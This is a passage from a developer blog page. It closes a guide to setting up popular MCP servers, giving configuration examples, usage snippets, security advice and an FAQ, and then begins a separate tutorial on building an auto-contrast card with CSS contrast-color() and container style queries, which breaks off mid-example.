One thing to note: MongoDB recommends Node 22.13 or later, or the Docker image, which sidesteps Node entirely. If you use Claude Code, Codex, Cursor, or Gemini, MongoDB ships an official plugin bundle that includes the server plus prebuilt agent skills.

The default transport is stdio. Here is a connection-string setup:

{
  "mcpServers": {
    "MongoDB": {
      "command": "npx",
      "args": ["-y", "mongodb-mcp-server@latest", "--readOnly"],
      "env": {
        "MDB_MCP_CONNECTION_STRING": "mongodb+srv://username:[email protected]/myDatabase"
      }
    }
  }
}

Passing credentials through environment variables rather than command-line arguments is the recommended practice, since arguments can show up in process lists and logs. MongoDB ships every example with --readOnly on by default; remove it only when you actually need writes.

For Atlas management tools, authenticate with a service account:

{
  "mcpServers": {
    "MongoDB": {
      "command": "npx",
      "args": ["-y", "mongodb-mcp-server@latest", "--readOnly"],
      "env": {
        "MDB_MCP_API_CLIENT_ID": "your-atlas-service-account-client-id",
        "MDB_MCP_API_CLIENT_SECRET": "your-atlas-service-account-client-secret"
      }
    }
  }
}

It also includes Performance Advisor tools that surface suggested indexes, unified index creation that handles both regular and vector search indexes, and local cluster management so the server can spin up a MongoDB instance without a separate install.

Sample applications

E-commerce platforms run aggregation pipelines over customer behavior data to generate recommendations.

const productAnalysis = await client.callTool({
 name: 'aggregate',
 arguments: {
   collection: 'products',
   pipeline: [
     { $match: { stock: { $lt: 10 } } },
     { $lookup: { from: 'orders', localField: '_id', foreignField: 'productId', as: 'orders' } },
     { $addFields: { orderCount: { $size: '$orders' } } },
     { $sort: { orderCount: -1 } }
   ]
 }
});

How does the Azure MCP server work?

The Azure MCP server gives AI models natural language control over Microsoft Azure services, including Azure Storage, Cosmos DB, Log Analytics, App Configuration, and direct Azure CLI and Azure Developer CLI command execution. The Azure MCP Server consolidates more than 40 Azure services into a single server.

Installation uses npx, and the server defaults to stdio. Most clients use an mcpServers root object, but Visual Studio and VS Code use servers:

{
  "mcpServers": {
    "Azure MCP Server": {
      "command": "npx",
      "args": ["-y", "@azure/mcp@latest", "server", "start"]
    }
  }
}

For remote hosting (for example, with Microsoft Foundry or Copilot Studio), the server can be self-hosted on Azure Container Apps and exposed over Streamable HTTP with Microsoft Entra authentication.

Use cases

DevOps teams use it for infrastructure management and deployment through the Azure CLI, and operations teams for monitoring queries against Log Analytics.

const resourceAnalysis = async (client) => {
 const storageAccounts = await client.callTool({
   name: 'list_storage_accounts',
   arguments: {}
 });

 const logQuery = await client.callTool({
   name: 'query_log_analytics',
   arguments: {
     workspace: 'my-workspace',
     query: 'AppMetrics | where TimeGenerated > ago(1h) | summarize avg(Value) by bin(TimeGenerated, 5m)'
   }
 });

 return { storage: storageAccounts, metrics: logQuery };
};

Why should you use Context7 MCP?

Context7 MCP server solves a narrow but constant problem: coding agents hallucinate library APIs because their training data lags behind current releases. Context7 fetches version-specific documentation for a library on demand and injects it into the model’s context, so the agent writes code against current Next.js or Prisma signatures rather than outdated ones.

It is a community server maintained by Upstash, and it runs either locally over stdio or as a hosted remote endpoint. The local setup is a single line:

{
  "mcpServers": {
    "context7": {
      "command": "npx",
      "args": ["-y", "@upstash/context7-mcp"]
    }
  }
}

The hosted remote endpoint uses Streamable HTTP. An API key is optional (the free tier works without one) but raises your rate limits, and it is passed as a header:

{
  "mcpServers": {
    "context7": {
      "type": "http",
      "url": "https://mcp.context7.com/mcp",
      "headers": {
        "CONTEXT7_API_KEY": "YOUR_API_KEY"
      }
    }
  }
}

In use, you invoke it by naming it in a prompt, and the server exposes only two tools, resolve-library-id and query-docs, which keep its context footprint small compared to servers that inject dozens of tool definitions.

Sample applications

The clearest win is on fast-moving frameworks. Asking an agent to configure middleware in the current Next.js without Context7 often yields an answer built on an older API. The limitation is index coverage as very new or private libraries may not be indexed yet, in which case a direct documentation fetch is the fallback.

const libraryId = await client.callTool({
 name: 'resolve-library-id',
 arguments: { query: 'app router middleware', libraryName: 'next.js' }
});

const docs = await client.callTool({
 name: 'query-docs',
 arguments: {
   libraryId: libraryId,
   query: 'how do I set up app router middleware'
 }
});

What can the Cloudflare MCP server do?

The Cloudflare MCP server gives natural language control over Cloudflare’s network, spanning Workers, observability, Radar, DNS analytics, and more. Two aspects of its design are worth understanding before you set it up.

First, Cloudflare’s remote servers use Streamable HTTP at a /mcp endpoint, and second, Cloudflare runs a Code Mode server at https://mcp.cloudflare.com that exposes the entire Cloudflare API, over 2,500 endpoints, through just two tools, search() and execute(). Rather than loading thousands of tool definitions into context, the model writes JavaScript against a typed representation of the API, which keeps token usage roughly flat regardless of how much of the API you touch.

For the broad Code Mode server, connect via OAuth:

{
  "mcpServers": {
    "cloudflare": {
      "type": "http",
      "url": "https://mcp.cloudflare.com/mcp"
    }
  }
}

The product-specific servers are still available for curated, typed tools in a single domain. For clients without native remote support, wrap them with mcp-remote, now pointing at /mcp:

{
  "mcpServers": {
    "cloudflare-observability": {
      "command": "npx",
      "args": ["mcp-remote", "https://observability.mcp.cloudflare.com/mcp"]
    },
    "cloudflare-bindings": {
      "command": "npx",
      "args": ["mcp-remote", "https://bindings.mcp.cloudflare.com/mcp"]
    }
  }
}

When you connect, Cloudflare redirects you through an OAuth flow to authorize and scope permissions. For CI or automation, you can pass a scoped Cloudflare API token as a bearer token instead.

Sample applications

Performance teams tune caching from Radar insights, security teams triage threats from observability data, and platform teams manage bindings and Workers. With the Code Mode server, “create a KV namespace called session-cache and bind it to my auth-worker” becomes a search() for the relevant endpoints followed by an execute().

How do you use the Firebase MCP server?

The Firebase MCP server integrates with Google’s Firebase platform, letting AI models manage Firestore, Authentication, Cloud Functions, and hosting through natural language, along with project initialization and SDK configuration.

It ships as a command inside the Firebase CLI and runs over stdio.

{
  "mcpServers": {
    "firebase": {
      "command": "npx",
      "args": ["-y", "firebase-tools@latest", "mcp"]
    }
  }
}

You can scope it to a project directory and filter which feature groups are active, which is a good habit for keeping the tool surface tight:

{
  "mcpServers": {
    "firebase": {
      "command": "npx",
      "args": [
        "-y", "firebase-tools@latest", "mcp",
        "--dir", "/path/to/project",
        "--only", "auth,firestore,storage"
      ]
    }
  }
}

Authentication comes from the Firebase CLI, so run firebase login first if you are not already signed in.

Sample use cases

Teams use it to inspect Firestore data, drive Cloud Messaging campaigns from engagement data, and manage users through Firebase Auth.

const firebaseWorkflow = async (client) => {
 const project = await client.callTool({
   name: 'firebase_get_project',
   arguments: {}
 });

 const userData = await client.callTool({
   name: 'firestore_query_collection',
   arguments: {
     collection: 'users',
     filter: 'lastActive > 2026-01-01'
   }
 });

 return { project, userData };
};

How do you deploy applications with the Google Cloud Run MCP server?

The Google Cloud Run MCP server automates deployment and management of containerized applications on Cloud Run, covering direct file and folder deployment, service management, and Google Cloud project operations.

For local development, it runs over stdio and authenticates through the Google Cloud SDK. The server is published on npm as @google-cloud/cloud-run-mcp:

# Prerequisites: Node.js, Google Cloud SDK
gcloud auth login
gcloud auth application-default login

{
  "mcpServers": {
    "cloud-run": {
      "command": "npx",
      "args": ["-y", "@google-cloud/cloud-run-mcp"]
    }
  }
}

You can also deploy the MCP server itself onto Cloud Run for remote scenarios. Cloud Run hosts MCP servers over Streamable HTTP (it does not host stdio servers), and the server supports OAuth. A minimal OAuth-mode client config points at the /mcp endpoint:

gcloud run deploy cloud-run-mcp \
  --image us-docker.pkg.dev/cloudrun/container/mcp \
  --no-allow-unauthenticated

gcloud run services proxy cloud-run-mcp --port=3000 --region=REGION

{
  "mcpServers": {
    "cloud-run": {
      "httpUrl": "http://localhost:3000/mcp",
      "oauth": { "enabled": true }
    }
  }
}

Application scenarios

Teams deploy services with model-chosen configurations directly from their IDE or AI assistant applications, and manage project configuration across environments.

const deploymentWorkflow = async (client, projectId, region) => {
 const deployment = await client.callTool({
   name: 'deploy-local-folder',
   arguments: {
     folder_path: './my-app',
     service_name: 'my-new-service',
     project: projectId,
     region: region
   }
 });

 return { newDeployment: deployment };
};

How does the JetBrains MCP server work?

The JetBrains MCP server connects AI models to JetBrains IDEs, including IntelliJ IDEA, PyCharm, WebStorm, and Android Studio, enabling code intelligence, refactoring suggestions, and project analysis from inside the IDE. It works through a proxy that bridges MCP clients to the IDE’s built-in server, and it runs over stdio.

Install the JetBrains MCP plugin from the Marketplace (plugin ID 26071-mcp-server), then configure the proxy:

{
  "mcpServers": {
    "jetbrains": {
      "command": "npx",
      "args": ["-y", "@jetbrains/mcp-proxy"]
    }
  }
}

To target a specific IDE instance, set the port:

{
  "mcpServers": {
    "jetbrains": {
      "command": "npx",
      "args": ["-y", "@jetbrains/mcp-proxy"],
      "env": {
        "IDE_PORT": "63342",
        "HOST": "127.0.0.1",
        "LOG_ENABLED": "true"
      }
    }
  }
}

Because the connection is local to the running IDE, there is no separate authentication step.

Development use cases

Teams pull IDE inspection results for review feedback, get refactoring suggestions grounded in the IDE’s own analysis, and generate docs from code context.

const ideWorkflow = async (client) => {
 const projectInfo = await client.callTool({
   name: 'get_project_structure',
   arguments: {}
 });

 const codeAnalysis = await client.callTool({
   name: 'run_code_inspections',
   arguments: { scope: 'project', include_warnings: true }
 });

 return { project: projectInfo, analysis: codeAnalysis };
};

How does the Docker MCP Toolkit work?

Docker provides an official MCP Catalog and Toolkit that is the recommended way to run and manage MCP servers, including containerized database, monitoring, and API servers.

The Catalog is a curated registry of containerized MCP servers on Docker Hub, each running in an isolated container. The Toolkit, built into Docker Desktop, lets you browse the catalog, add credentials, and connect a server to clients like Claude Desktop, Cursor, and VS Code with a click, no manual config files. Every catalog entry is labeled by trust level, either Docker-built with signed and verified images or community-built and containerized by the publisher.

Setup happens through Docker Desktop rather than a hand-written config. Enable the MCP Toolkit, pick servers from the catalog, and connect your client. The value here is security and isolation. Instead of running an assortment of npx and uvx processes with direct access to your machine, each server runs in a sandboxed container, and the Gateway gives you one place to audit and govern them.

Operational use cases

Teams configure containerized environments through natural language, inspect container performance, and spin up isolated environments. Because the Toolkit standardizes how servers are packaged and connected, the benefit is less about any single tool call and more about running a fleet of servers safely from one control point.

How do you use the Figma MCP server for design-to-code workflows?

The Figma MCP server gives AI models access to Figma design files for design analysis and code generation. Figma runs an official remote server, which is the recommended setup, alongside a local desktop server for specific enterprise cases.

The remote server connects over Streamable HTTP at https://mcp.figma.com/mcp, works without the desktop app, and is available on all seats and plans:

{
  "mcpServers": {
    "figma": {
      "type": "http",
      "url": "https://mcp.figma.com/mcp"
    }
  }
}

Authentication is handled through your client’s OAuth flow. A desktop server also exists for specific organization and enterprise cases, running locally at http://127.0.0.1:3845/mcp, but Figma recommends the remote server for the broadest feature set.

Once connected, you provide context by copying a link to a frame or layer and referencing it in a prompt. The server extracts the node ID from the URL and pulls the relevant design data. Beyond reading designs, it can write back to the canvas, generate Figma content from live UI, and create FigJam diagrams.

Design workflow applications

Frontend teams generate framework components from designs using tools like get_code and get_variable_defs, and design systems teams extract variables to compare implementations against established design tokens.

const designToCode = async (figmaClient) => {
 const codeStructure = await figmaClient.callTool({
   name: 'get_code',
   arguments: { selection: 'current_figma_selection' }
 });

 const designTokens = await figmaClient.callTool({
   name: 'get_variable_defs',
   arguments: { frame_id: 'frame_id_from_url' }
 });

 return { reactCode: codeStructure, designTokens };
};

How do you use the AWS MCP server?

AWS offers two paths. The fully managed remote server at https://aws-mcp.us-east-1.api.aws/mcp covers AWS documentation and 15,000+ AWS APIs, and is the recommended default for broad access. Because MCP clients speak OAuth while the AWS endpoint expects SigV4-signed requests, you connect through a small stdio proxy, mcp-proxy-for-aws, that signs requests using your local AWS credentials.

For a deliberately small blast radius, AWS Labs publishes a catalog of specialized open-source servers, each scoped to one service or workflow: AWS Documentation, Bedrock Knowledge Bases, CDK for infrastructure as code, Cost Analysis, Lambda execution, and more. The full inventory lives at the AWS Labs MCP catalog.

The managed server connects through the proxy, launched via uvx:

{
  "mcpServers": {
    "aws-mcp": {
      "command": "uvx",
      "transport": "stdio",
      "args": [
        "mcp-proxy-for-aws@latest",
        "https://aws-mcp.us-east-1.api.aws/mcp"
      ]
    }
  }
}

The specialized AWS Labs servers install through UVX and run over STDIO, with most also offering a Streamable HTTP variant suitable for hosting on Lambda or fronting with the Bedrock AgentCore Gateway:

# Prerequisites: install uv, configure AWS credentials
uv python install 3.10

{
  "mcpServers": {
    "awslabs.core-mcp-server": {
      "command": "uvx",
      "args": ["awslabs.core-mcp-server@latest"],
      "env": { "FASTMCP_LOG_LEVEL": "ERROR" }
    },
    "awslabs.aws-documentation-mcp-server": {
      "command": "uvx",
      "args": ["awslabs.aws-documentation-mcp-server@latest"],
      "env": { "FASTMCP_LOG_LEVEL": "ERROR" }
    },
    "awslabs.cost-analysis-mcp-server": {
      "command": "uvx",
      "args": ["awslabs.cost-analysis-mcp-server@latest"],
      "env": {
        "AWS_PROFILE": "your-aws-profile",
        "FASTMCP_LOG_LEVEL": "ERROR"
      }
    }
  }
}

For remote deployments, the AgentCore Gateway is worth knowing about. It fans multiple MCP servers, REST APIs, or Lambda functions out to agents over a single Streamable HTTP endpoint with OAuth 2.1 on the front and IAM-scoped access on the back, and it adds a semantic tool search so agents can find the right tool without loading every definition.

Cloud management applications

Teams analyze spend through the Cost Analysis server and generate CDK or Terraform configurations that follow AWS best practices.

const awsWorkflow = async (docClient, costClient) => {
 const docResults = await docClient.callTool({
   name: 'search_documentation',
   arguments: { query: 'Lambda best practices security', max_results: 10 }
 });

 const costAnalysis = await costClient.callTool({
   name: 'analyze_costs',
   arguments: { time_period: 'last_30_days', service: 'lambda', include_recommendations: true }
 });

 return { documentation: docResults, costs: costAnalysis };
};

How do you deploy projects with the Netlify MCP server?

The Netlify MCP server handles project creation and deployment from your editor, wraps Netlify CLI functionality, and manages the full project lifecycle through the Netlify API and CLI. It runs over stdio.

# Prerequisites: current Node.js LTS, Netlify account, Netlify CLI
npm install -g netlify-cli

{
  "mcpServers": {
    "netlify-mcp": {
      "command": "npx",
      "args": ["-y", "@netlify/mcp"]
    }
  }
}

If you hit authentication issues, you can pass a personal access token through the environment:

{
  "mcpServers": {
    "netlify-mcp": {
      "command": "npx",
      "args": ["-y", "@netlify/mcp"],
      "env": {
        "NETLIFY_PERSONAL_ACCESS_TOKEN": "your_pat_value"
      }
    }
  }
}

Run netlify login first if you are not already authenticated through the CLI. Node 22 or later is recommended.

Deployment use cases

Teams deploy directly from the editor, manage build configuration, and automate extension management.

const netlifyWorkflow = async (client, projectPath) => {
 const project = await client.callTool({
   name: 'create_project',
   arguments: {
     name: 'my-jamstack-site',
     build_command: 'npm run build',
     publish_directory: 'dist'
   }
 });

 const deployment = await client.callTool({
   name: 'deploy_site',
   arguments: { project_path: projectPath, production: true }
 });

 return { project, deployment };
};

What can the Prisma MCP server do?

The Prisma MCP server covers Prisma Postgres database management, schema migrations, database provisioning by region, and Prisma Console authentication. It runs over stdio through the Prisma CLI.

{
  "mcpServers": {
    "Prisma": {
      "command": "npx",
      "args": ["-y", "prisma", "mcp"]
    }
  }
}

For Claude Code, add it from the terminal:

claude mcp add prisma npx prisma mcp

The same config works across clients that read a standard MCP JSON file, including Cursor at ~/.cursor/mcp.json.

Database development applications

Teams create tables and manage migrations while preserving data integrity, provision Prisma Postgres instances by region, and handle Console authentication for visual management.

const prismaWorkflow = async (client) => {
 const database = await client.callTool({
   name: 'create_database',
   arguments: { region: 'us-east-1', name: 'production-db' }
 });

 const table = await client.callTool({
   name: 'create_table',
   arguments: { database_id: database.id, table_name: 'Product' }
 });

 return { database, table };
};

How does the Sentry MCP server help with debugging?

The Sentry MCP server fills the gap in connecting your AI directly to your error monitoring pipeline. Instead of copying a stack trace out of the Sentry dashboard and pasting it into a chat, the model pulls the full issue, breadcrumbs, environment context, and related events, and works from the actual data.

Sentry runs a production remote server over Streamable HTTP with OAuth 2.1:

{
  "mcpServers": {
    "sentry": {
      "type": "http",
      "url": "https://mcp.sentry.dev/mcp"
    }
  }
}

Your client handles the OAuth sign-in on the first connection. A local stdio option (npx @sentry/mcp-server@latest) is also available if you prefer to run it yourself.

Beyond raw issue retrieval, the server exposes Sentry’s Seer tooling for AI-assisted root cause analysis, so the model can move from “here is the error” to “here is the likely cause and a suggested fix” against real production data.

Debugging use cases

The typical debugging loop is slow, but with the Sentry server, the model gets the same view you do, the complete issue with all context attached. The highest-value query for most teams is the morning check, asking whether any new errors have appeared since the last deploy without opening the dashboard.

const sentryWorkflow = async (client) => {
 const issues = await client.callTool({
   name: 'search_issues',
   arguments: {
     organizationSlug: 'my-org',
     query: 'is:unresolved'
   }
 });

 const rootCause = await client.callTool({
   name: 'analyze_issue_with_seer',
   arguments: {
     organizationSlug: 'my-org',
     issueId: issues[0].shortId
   }
 });

 return { issues, rootCause };
};

How do you automate browser testing with the Playwright MCP server?

The Playwright MCP server provides browser automation through structured accessibility snapshots rather than pixel-based interaction, which keeps it deterministic and avoids the need for vision models. It supports Chrome, Firefox, WebKit, and Edge in both headless and headed modes.

The basic stdio setup pins to the latest release:

{
  "mcpServers": {
    "playwright": {
      "command": "npx",
      "args": ["@playwright/mcp@latest"]
    }
  }
}

For Claude Code, one command does it:

claude mcp add playwright npx @playwright/mcp@latest

A couple of flags are worth knowing. Vision capabilities are enabled through the capabilities flag, --caps vision, and headless mode through --headless. For remote or display-less environments, run the server with a port to enable HTTP transport:

npx @playwright/mcp@latest --port 8931

{
  "mcpServers": {
    "playwright": {
      "type": "http",
      "url": "http://localhost:8931/mcp"
    }
  }
}

Also, for coding agents that have filesystem access, Microsoft now ships a companion @playwright/cli that exposes the same automation as shell commands. It is considerably more token-efficient because it writes snapshots and screenshots to disk instead of streaming them into context.

Testing workflow applications

QA teams generate test suites from application functionality using accessibility snapshots, development teams run cross-browser regression testing, and platform teams script realistic user journeys.

const playwrightTestSuite = async (client) => {
 await client.callTool({
   name: 'browser_navigate',
   arguments: { url: 'https://myapp.com/login' }
 });

 const snapshot = await client.callTool({
   name: 'browser_snapshot',
   arguments: {}
 });

 await client.callTool({
   name: 'browser_type',
   arguments: {
     element: 'email input field',
     ref: 'input[type="email"]',
     text: '[email protected]'
   }
 });

 return { snapshot };
};

How do you secure MCP servers?

Running MCP servers in production carries real security weight, well beyond “store your tokens carefully.” A few things deserve attention.

Prompt injection through tool responses – This is the attack that matters most for MCP. Any server that returns external content, web pages, issue text, or documentation is a potential vector for injected instructions. Treat tool output as untrusted data, and be especially careful before granting write access to any server that reads from the open web. Security researchers have flagged this repeatedly through 2026
Validate the origin header – The current spec requires servers to validate the Origin header on incoming connections to prevent DNS rebinding attacks, and local servers should bind to 127.0.0.1 rather than 0.0.0.0. If you are running or building a server, confirm this is in place
Scope OAuth permissions tightly – Remote servers on Streamable HTTP have largely standardized on OAuth 2.1, which lets you request narrow scopes. Ask for repo:read rather than full repo access, a single project rather than the whole org. Short-lived, narrowly scoped credentials dramatically limit the blast radius when an agent misfires
Prefer official and containerized servers – Use the vendor’s own implementation over an unreviewed community fork where one exists, and consider Docker’s MCP Catalog for containerized isolation. A large share of servers scanned in 2026 audits had security findings, so the provenance of what you install genuinely matters. Pin community servers to a known-good version
Mind the token budget – Every connected server injects its tool definitions into context, often 500 to 1,000 tokens per tool. Five servers with rich tool sets can consume tens of thousands of tokens before you ask anything. Keep your active set small, three to five servers covering your actual weekly workflow, and use read-only modes and toolset filters to trim what the agent sees

Beyond these, the usual production hygiene is to centralize configuration and secrets, monitor latency and error rates per server, handle timeouts gracefully, and store credentials in environment variables or a secrets manager rather than plain text.

Frequently asked questions

Is SSE still supported in MCP?

The legacy HTTP+SSE transport is deprecated. It was superseded by Streamable HTTP in the 2025 spec, and the current stable spec recognizes only stdio and Streamable HTTP. SSE still works in many clients for backward compatibility, but you should not build anything new on it. If a config points at a /sse URL, move it to the server’s /mcp endpoint.

What is the difference between stdio and Streamable HTTP?

Use stdio when a single client launches the server as a local subprocess on the same machine, with no ports, auth, or CORS to manage. Use Streamable HTTP for anything remote or multi-client, where the server runs independently on a URL and exposes one endpoint that handles both requests and optional streaming responses.

Are MCP servers free?

Most are. The servers here are free to install, and many are free to use within a provider’s free tier, with usage beyond that metered. GitHub MCP is free with a GitHub account, Playwright and the Docker Toolkit are free, and Context7 has a free tier. The real cost of running servers is not money but context window tokens, since each server’s tool definitions consume space in every request.

Do I still need a personal access token, or can I use OAuth?

It depends on the server. Remote servers largely use OAuth 2.1, so GitHub, Figma, Sentry, and Cloudflare typically prompt a browser sign-in on first use. Many also accept a token as a fallback, and local stdio servers usually authenticate through a CLI login or a connection string rather than OAuth.

How many MCP servers should I run at once?

Three to five is the practical sweet spot. Each server adds tools to the agent’s budget, which slows tool selection and raises the chance of the wrong tool being chosen. Install only servers that solve a problem you hit weekly, and lean on read-only modes and toolset filters to keep the surface tight.

Which MCP servers should I install first?

For most web developers, GitHub MCP, Context7, and Playwright cover the majority of what an agent needs: repository context, current documentation, and browser automation. Add the others as specific workflows demand them: a cloud server when you deploy, a database server when the agent needs to reason about data, and Sentry when debugging is eating your time.

Conclusion

The Model Context Protocol marks a major shift in how we build AI-powered applications. The 15 MCP servers covered here form the foundation for creating advanced, integrated workflows, whether you’re analyzing code with GitHub or automating deployments with Cloud Run.

Success with MCP comes from choosing servers that match your actual stack and keeping the set small enough that each one earns its place in the context window. Start with a handful that complement what you already use, scope their permissions tightly, treat their output as untrusted, and expand only when a real workflow demands it.

#mcp

How to use CSS contrast-color() for auto-contrast

Jude Miracle — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Most accessible theming systems follow a similar pattern: they use JavaScript to calculate relative luminance, then toggle a class or set a CSS variable based on the result. This approach works, but it can cause problems with SSR hydration mismatches, design tokens that don’t convert easily to hex, or performance issues when colors change often.

With the CSS contrast-color() function and container style queries, you can let the browser handle this logic for you. In this article, you’ll learn how to build a reusable card component that automatically chooses WCAG-compliant text and border colors for any background color it gets. There’s no need for JavaScript calculations, SCSS mixins, or class toggling.

Why JavaScript contrast math falls short

The standard approach looks something like this: take a background color, compute its relative luminance, compare it against a threshold, and return #000 or #fff. In SCSS, you’d write a color-contrast() mixin. In JavaScript, it’s a utility function that gets called wherever a dynamic background is applied.

Here’s what that typically looks like:

function getRelativeLuminance(hex: string): number {
  const [r, g, b] = hexToRgb(hex).map((val) => {
    const s = val / 255;
    return s <= 0.03928 ? s / 12.92 : Math.pow((s + 0.055) / 1.055, 2.4);
  });
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}

function getContrastColor(background: string): "#000000" | "#ffffff" {
  const luminance = getRelativeLuminance(background);
  return luminance > 0.179 ? "#000000" : "#ffffff";
}

This method works well on its own, but issues start to appear in real-world production environments.

Server rendering breaks the color read

When rendering a card component on the server, background colors may originate from user preferences, CMS fields, or runtime design tokens, which are unavailable at build time. You must either skip server-side contrast calculations and accept a color mismatch during hydration or duplicate logic across environments to maintain consistency.

Runtime cost compounds at scale

Each time the background changes, the calculation runs again. On a dashboard with many cards, or in a design tool where users adjust colors often, this happens repeatedly. While it’s not a heavy task by itself, it’s extra work that the browser could manage on its own.

Design tokens don’t always map cleanly

If your token system uses HSL, LCH, or oklch() color values, you need to convert them before using a hex-based luminance function. This adds extra steps or limits how you format your tokens, and neither option works well as your design system grows.

The main issue isn’t the math. It’s that you’re rebuilding something the browser can now handle, and you have to update your setup every time your color system changes.

What is CSS `contrast-color()`?

contrast-color() is a CSS function that takes a color and returns either white or black, depending on which one has a higher contrast ratio. The browser handles the luminance calculation automatically when it draws the page.

The basic syntax:

.card {
  background-color: var(--card-bg);
  color: contrast-color(var(--card-bg));
}

That’s all you need. You don’t need a utility function, class toggling, or any server-side calculation.

How does `contrast-color()` calculate contrast?

The specification uses the WCAG 2.1 relative luminance formula, which is the same calculation you might use in JavaScript. The key difference is that the browser applies it after all color transformations, so it works with oklch(), hsl(), color-mix(), and other modern color functions. You don’t need to adjust anything before using it.

Is `contrast-color()` WCAG compliant?

Yes, but with limitations. contrast-color() chooses whichever of black or white provides higher contrast against the background, which often meets WCAG AA requirements for large text. However, it doesn’t guarantee a 4.5:1 contrast ratio for every background color. For example, medium grays or muted mid-tone colors might pass AA for large text (3:1) but not for body text (4.5:1).

In practice, contrast-color() works well for UI elements where the background color comes from a controlled set, such as a design token palette, theme configuration, or curated color picker. If users can choose arbitrary colors, you should verify the contrast ratio separately.

What are the limitations of `contrast-color()`?

The current specification doesn’t let you see the contrast ratio, set a custom threshold, or pick more than two color options. The original color-contrast() proposal, which let you rank several colors and set a minimum ratio, was removed during standardization. The version that shipped is simpler and handled by the browser. It covers most use cases, but it’s helpful to know its limits.

Design system note: contrast-color() only returns black or white. It can’t target off-black (#1a1a1a) or off-white (#fafafa) text tokens, even if your system uses them. If your palette uses custom text colors instead of pure black and white, you’ll still need a CSS custom property override for each surface, or a JS fallback for those specific tokens.

Why use container style queries with `contrast-color()`?

contrast-color() automatically sets the text color, but for surface variants like different borders, background tints, or icon colors based on the card’s type (brand, neutral, or destructive), you need another approach. This is where container style queries help.

What is the syntax for container style queries?

You’re probably familiar with size container queries. Style queries use the same @container rule, but instead of querying dimensions, you query the computed value of a custom property on the container:

@container style(--surface: brand) {
  .card__border {
    border-color: oklch(from var(--card-bg) calc(l - 0.1) c h);
  }
}

You don’t need to set a container-type for style queries; that’s only needed for size queries. If you want to target a specific ancestor, you’ll need a container-name. For a component that queries its own custom properties, anonymous containers are enough.

Why is this cleaner than class toggling

The alternative is something like this:

<div className={`card card--${surface}`} style={{ background: brandColor }} />

With this setup, your component ends up with two sources of truth: the inline style sets the color, while the class name controls the variant logic. These can get out of sync. For example, if you rename a token but forget to update the class condition, the border style might break without warning.

With style queries, the custom property becomes the single source of truth. To be clear, .card is the container, and the @container card style() blocks target its descendants. The card itself doesn’t query its own properties; it owns them.

Which browsers support container style queries?

It’s important to be clear about browser support for container style queries. There are two main levels of support:

Custom property querying: @container style(--my-prop: value) is the supported subset. It works in Chrome 111+, Safari 18+, and Firefox 129+. This is what the component in this article uses.
Inherited property querying: querying standard CSS properties like font-style or color on a container is still experimental and not reliably supported across browsers. Don’t use it in production yet.

You can depend on this feature when querying custom properties that you define.

How do you build an auto-contrast card component?

Step 1: Set up the custom property structure

Every style decision in the card flows from two custom properties: --card-bg for the background color, and --surface for the variant flag. Set both on the card element with defaults:

.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
  transition: background-color 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

Setting container-name: card establishes an explicit name for our style container. Naming the container ensures your @container card style() blocks target this specific component context rather than accidentally querying an unrelated container higher up the DOM tree.

The HTML for a single instance:

<div class="card" style="--card-bg: #764abc; --surface: brand">
  <span class="card__tag">brand</span>
  <h3 class="card__title">Dynamic card</h3>
  <p class="card__body">Text color adjusts automatically as background changes</p>
  <div class="card__border"></div>
</div>

The only thing that changes between instances is the inline style. There are no extra classes or JavaScript needed.

Step 2: Wire in contrast-color() for automatic text color

.card__title,
.card__body {
  color: contrast-color(var(--card-bg));
}

The browser reads --card-bg when it draws the page, calculates the luminance, and returns either black or white, depending on which has better contrast with the background. This works with hex, oklch(), hsl(), and color-mix() values. You don’t need to adjust anything yourself.

Step 3: Layer in style query logic for border and surface variants

/* neutral: subtle border, outlined tag */
@container card style(--surface: neutral) {
  /* Targets descendants of .card, not .card itself */
  .card__tag {
    color: contrast-color(var(--card-bg));
    background: transparent;
    border: 1px solid oklch(from var(--card-bg) calc(l + 0.15) c h / 0.4);
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.1) c h / 0.5);
    height: 1px;
  }
}

/* brand: filled tag, prominent border */
@container card style(--surface: brand) {
  .card__tag {
    color: oklch(from var(--card-bg) calc(l - 0.2) c h);
    background: oklch(from var(--card-bg) calc(l + 0.3) c h / 0.25);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l - 0.15) c h);
    height: 2px;
  }
}

/* destructive: high-contrast tag, heaviest border */
@container card style(--surface: destructive) {
  .card__tag {
    color: #fff;
    background: oklch(from var(--card-bg) calc(l - 0.1) c h / 0.6);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.2) c h);
    height: 3px;
  }
}

The oklch(from var(--card-bg) ...) relative color syntax is important here. Instead of hardcoding border and tag colors, it creates them from --card-bg by adjusting the lightness channel. This way, the border always stands out from the surface, no matter what color you use. If you change --card-bg, the related colors update automatically.

Step 4: Putting it together

Here’s the full component CSS:

.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
  transition: background-color 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

.card__title,
.card__body {
  color: contrast-color(var(--card-bg));
}

@container card style(--surface: neutral) {
  /* Targets descendants of .card, not .card itself */
  .card__tag {
    color: contrast-color(var(--card-bg));
    background: transparent;
    border: 1px solid oklch(from var(--card-bg) calc(l + 0.15) c h / 0.4);
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.1) c h / 0.5);
    height: 1px;
  }
}

@container card style(--surface: brand) {
  .card__tag {
    color: oklch(from var(--card-bg) calc(l - 0.2) c h);
    background: oklch(from var(--card-bg) calc(l + 0.3) c h / 0.25);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l - 0.15) c h);
    height: 2px;
  }
}

@container card style(--surface: destructive) {
  .card__tag {
    color: #fff;
    background: oklch(from var(--card-bg) calc(l - 0.1) c h / 0.6);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.2) c h);
    height: 3px;
  }
}

To display the three variants side by side, just like in the demo, you only need to change the inline style for each instance:

<!-- Brand -->
<div class="card" style="--card-bg: #764abc; --surface: brand"> ... </div>

<!-- Neutral -->
